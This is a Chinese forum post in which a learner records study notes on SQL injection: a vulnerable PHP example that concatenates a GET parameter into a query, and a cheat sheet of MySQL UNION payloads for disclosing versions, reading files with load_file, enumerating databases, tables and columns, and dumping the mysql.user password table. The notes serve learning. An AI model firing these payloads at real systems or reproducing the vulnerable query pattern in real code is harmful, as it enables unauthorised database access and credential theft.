|
楼主 |
发表于 2020-4-19 22:45:34
|
显示全部楼层
今天开始正式看SQL注入的内容了 ,一边看一边查得 查得内容就记在这里了方便以后看
下面的有很多现在接收不了 先记下以后看
下面是今天看的例子中我觉得需要记得问题
file:///C:/Users/柠檬不萌/AppData/Local/Temp/ksohtml5560/wps1.jpgfile:///C:/Users/柠檬不萌/AppData/Local/Temp/ksohtml5560/wps2.jpgfile:///C:/Users/柠檬不萌/AppData/Local/Temp/ksohtml5560/wps3.jpg 1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #和1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ # 只有换个处不同 应该一个是数据库表名,一个是表名的意思
最后这个
1’ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #应该是利用前面查得的表名进行进一步查找,获取详细内容
下面有个详细教程
file:///C:/Users/柠檬不萌/AppData/Local/Temp/ksohtml5560/wps4.jpg
为什么服务器返回错误 就是没有处理 (这是我现在刚学时的问题)
file:///C:/Users/柠檬不萌/AppData/Local/Temp/ksohtml5560/wps5.jpg
file:///C:/Users/柠檬不萌/AppData/Local/Temp/ksohtml5560/wps6.jpg
是我们猜测的SELECT语句是这样的: SELECT First name,Surname FROM表 WHEREid='$_GET(xxxx)'; 然后后面的和前面差不多了
mysql -- 手工注入
------------------[index1.php源码]------------------
<form action="index2.php" method="get">
ID:
<input type=text name="id" />
<input type=submit>
------------------[index2.php源码]------------------
<?php
$con = mysql_connect("localhost","root","fuckyou");
mysql_select_db("mytestdb", $con);
$id=$_GET["id"];
$sql="select * from testtab where id=$id";
echo $sql."<br/>";
$rst=mysql_query($sql);
$tmp=mysql_fetch_array($rst);
echo $tmp["name"];
mysql_close($con);
?>
[数据库:mytestdb,表名testtab]------------------
id name
1 jack
2 Nike
3 Mery
4 Bomb
查看mysql基本信息
and 1=2 union select 1,version() ----- 查看数据库版本
and 1=2 union select 1,database() ---- 查看当前使用的数据库
and 1=2 union select 1,user() ------查看当前数据库用户
and ord(mid(user(),1,1))=114 ------ 判断用户是否为root
看到这里 总算明白昨天看的内容了
暴字段内容
UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名
and 1=1 union select 1,2
select * from db WHERE id= x and 1=1 Union select 1,2,3,4,5----------------暴字段位置
and 1=2 union select 1,2
select * from db WHERE id= x and 1=2 Union select 1,2,3,4,5----------------暴数据库信息(有些网站不适用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*暴操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user /*
and 1=2 union select 1,load_file(0x433a5c78616d70705c6874646f63735c696e6465782e68746d6c) --- C:\boot.ini
建议熟悉Mysql 默认数据库information_schema 中的表
[information_schema.SCHEMATA] -------SCHEMA_NAME 所有数据库名
[information_schema.TABLES] -------TABLE_NAME 所有表名
-------TABLE_SCHEMA 数据库名
[information_schema.COLUMNS] -------COLUMN_NAME 所有字段名
-------TABLE_SCHEMA 数据库名
[查询所有库] --------select SCHEMA_NAME from information_schema.SCHEMATA;
[查询所有表] --------select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES;
[查询所有字段]--------select COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_NAME = 0x75736572
暴库 (mysql>5.0,5.0 以后的版本才有information_schema, information_schema,存储着mysql 的所有数据库和表结构信息
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1 ---- 第一个数据库
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 1,1 ---- 第二个数据库
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 2,2 ---- 第三个数据库
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 3,3 ---- 第四个数据库
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 4,4 ---- 第五个数据库暴出所有库:
and 1=2 union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA暴表
and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=数据库名(十六进制) limit 0,1
and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x6d7973716c limit 0,1
and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x6d7973716c limit 1,1
and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x6d7973716c limit 2,2
and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x6d7973716c limit 3,3暴出所有表
and 1=2 union select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x6d7973716c暴字段
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=表明(十六进制) limit 0,1
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x75736572 limit 0,1
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x75736572 limit 1,1
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x75736572 limit 2,2
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x75736572 limit 3,3
暴Mysql数据库user表
and 1=2 union select 1,group_concat(Host,User,Password) from mysql.user
file:///C:/Users/柠檬不萌/AppData/Local/Temp/ksohtml5560/wps7.jpg
file:///C:/Users/柠檬不萌/AppData/Local/Temp/ksohtml5560/wps8.jpgfile:///C:/Users/柠檬不萌/AppData/Local/Temp/ksohtml5560/wps9.jpgfile:///C:/Users/柠檬不萌/AppData/Local/Temp/ksohtml5560/wps10.jpg
|
|